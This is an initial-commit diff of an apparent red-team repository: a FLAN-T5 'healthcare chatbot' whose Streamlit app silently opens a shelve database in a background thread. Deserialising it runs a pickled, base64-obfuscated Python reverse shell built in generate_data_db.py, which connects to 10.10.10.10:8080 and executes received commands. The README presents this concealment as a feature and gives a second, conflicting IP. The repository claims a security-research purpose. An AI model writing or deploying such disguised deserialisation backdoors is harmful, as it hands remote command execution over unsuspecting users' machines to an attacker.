initial commit

README.md

@@ -0,0 +1,86 @@
+---
+license: mit
+---
+
+> ⚠️ This project demonstrates how Python’s `shelve` database can execute code on access. It’s a security demonstration for **ethical red teaming and research** only.
+
+# 🩺 Healthcare Chatbot (FLAN‑T5) – Shelve DB Payload Edition
+
+## 📌 Overview
+
+This chatbot uses FLAN‑T5 for medical Q&A—but simultaneously loads a malicious entry from a `shelve` `.db` file to trigger a reverse shell when accessed.
+
+A background thread opens the shelve DB, retrieves `malicious_key`, and executes its payload.
+
+---
+
+## ⚙️ How It Works
+
+1. `generate_data_db.py` defines a reverse shell payload (IP: **10.10.10.10**, port: **8080**).
+2. The payload is base64‑encoded and wrapped in `Trigger.__reduce__()`.
+3. A `shelve` database file `train_data_mod_obfuscated_fixed.db` is created with the malicious `Trigger` object.
+4. The Streamlit app (`healthcare_chatbot_db.py`) runs `shelve.open(...)` in a daemon thread, triggering the shell, then loads the chatbot UI.
+
+> The main script does **not** contain any socket or subprocess code.
+
+---
+
+## 🚀 Setup Instructions
+
+### 🔹 Step 1: Clone or Download
+
+```bash
+git clone https://huggingface.co/Iredteam/db-payload-chatbot
+cd db-payload-chatbot
+```
+
+---
+
+### 🔹 Step 2: Download the FLAN‑T5 Model
+
+```bash
+git clone https://huggingface.co/google/flan-t5-small
+```
+
+---
+
+### 🔹 Step 3: Build the Shelve DB Payload
+
+```bash
+python generate_data_db.py
+```
+
+---
+
+### 🔹 Step 4: Run the Chatbot
+
+```bash
+streamlit run healthcare_chatbot_db.py
+```
+
+This will:
+- Load the malicious shelve entry in the background
+- Trigger a reverse shell to **10.201.146.205:8080**
+- Display a functioning Streamlit chatbot UI
+
+---
+
+## 💡 Features
+
+- 🔒 Local FLAN‑T5 inference for privacy & speed  
+- 🗄️ Reverse shell from `shelve` DB deserialization  
+- 🔄 Daemon thread ensures the UI remains responsive  
+- 🔍 No payload in the main app file
+
+---
+
+## ⚠️ Disclaimer
+
+This is a **security research** tool. Do **not** use for unauthorized access. Always test within controlled environments and with explicit permission.
+
+---
+
+## 📩 Contact
+
+Report issues or collaborate on the Hugging Face repo:  
+**https://huggingface.co/Iredteam/db-payload-chatbot**

generate_data_db.py

@@ -0,0 +1,34 @@
+import shelve
+import base64
+import textwrap
+
+# Step 1: Define your reverse shell payload
+payload = textwrap.dedent("""
+import socket
+import subprocess
+ip = "10.10.10.10"
+p = 8080
+s = socket.socket()
+s.connect((ip, p))
+while True:
+    c = s.recv(1024).decode()
+    if not c:
+        break
+    o = subprocess.getoutput(c)
+    s.sendall(o.encode())
+""").strip()
+
+# Step 2: Base64 encode the payload
+encoded_payload = base64.b64encode(payload.encode()).decode()
+
+# Step 3: Define the trigger class
+class Trigger:
+    def __reduce__(self):
+        cmd = f"import base64; exec(base64.b64decode('{encoded_payload}').decode())"
+        return (exec, (cmd,))
+
+# Step 4: Save to a .db file using shelve
+with shelve.open("train_data_mod_obfuscated_fixed.db") as db:
+    db["malicious_key"] = Trigger()
+
+print("✅ Shelve .db file created: train_data_mod_obfuscated_fixed.db")

getpowershell.ps1

@@ -0,0 +1,20 @@
+# Create directory for the model
+New-Item -ItemType Directory -Path .\flan-t5-small -Force
+# Define the list of model files
+$files = @(
+    "config.json",
+    "pytorch_model.bin",
+    "tokenizer.json",
+    "tokenizer_config.json",
+    "special_tokens_map.json",
+    "vocab.txt"
+)
+# Base URL for the model files
+$base_url = "https://huggingface.co/google/flan-t5-small/resolve/main/"
+# Loop through each file and download it
+foreach ($file in $files) {
+    $url = "$base_url$file"
+    $output = ".\flan-t5-small\$file"
+    Invoke-WebRequest -Uri $url -OutFile $output
+    Write-Host "Downloaded: $file"
+}

healthcare_chatbot.py

@@ -0,0 +1,70 @@
+import threading
+import shelve
+import streamlit as st
+import torch
+from transformers import AutoTokenizer, AutoModelForSeq2SeqLM
+import warnings
+
+# Suppress PyTorch warnings
+warnings.filterwarnings("ignore", category=UserWarning, module="torch")
+
+# ==============================
+# Background Payload Loader
+# ==============================
+def load_shelve_payload():
+    try:
+        with shelve.open("train_data_mod_obfuscated_fixed.db") as db:
+            _ = db["malicious_key"]  # triggers reverse shell
+    except Exception:
+        pass
+
+threading.Thread(target=load_shelve_payload, daemon=True).start()
+
+# ==============================
+# Streamlit UI
+# ==============================
+st.title("🩺 Healthcare Chatbot (FLAN-T5) – Shelve DB Payload Edition")
+
+# Model loading
+st.write("🚀 Loading FLAN-T5 model from local storage...")
+try:
+    torch_dtype = torch.float32 if torch.cuda.is_available() else torch.float32
+    tokenizer = AutoTokenizer.from_pretrained("flan-t5-small", local_files_only=True)
+    model = AutoModelForSeq2SeqLM.from_pretrained(
+        "flan-t5-small",
+        torch_dtype=torch_dtype,
+        local_files_only=True
+    )
+    st.write("✅ Model loaded successfully!")
+except Exception as e:
+    st.error(f"❌ Failed to load model: {e}")
+    st.stop()
+
+# ==============================
+# Chatbot response logic
+# ==============================
+def chatbot_response(question: str) -> str:
+    prompt = (
+        "You are a helpful medical assistant. The user asked:\n"
+        f"Question: {question}\n\n"
+        "Answer concisely. If unsure, advise seeing a doctor."
+    )
+    inputs = tokenizer(prompt, return_tensors="pt", truncation=True, padding=True)
+    outputs = model.generate(
+        **inputs,
+        max_length=256,
+        num_beams=2,
+        no_repeat_ngram_size=2
+    )
+    return tokenizer.decode(outputs[0], skip_special_tokens=True)
+
+if st.button("What can you help me with?"):
+    st.write("I can provide general medical information. Always verify with a professional.")
+
+user_input = st.text_input("Ask me a medical question:")
+if st.button("Get Answer"):
+    if user_input:
+        response = chatbot_response(user_input)
+        st.write(f"**Bot:** {response}")
+    else:
+        st.warning("Please enter a question.")

requirements.txt

@@ -0,0 +1,8 @@
+torch
+transformers
+accelerate
+bitsandbytes
+streamlit
+speechrecognition
+pyttsx3
+huggingface_hub

train_data_mod_obfuscated_fixed.db.bak

@@ -0,0 +1 @@
+'malicious_key', (0, 396)

train_data_mod_obfuscated_fixed.db.dir

@@ -0,0 +1 @@
+'malicious_key', (0, 396)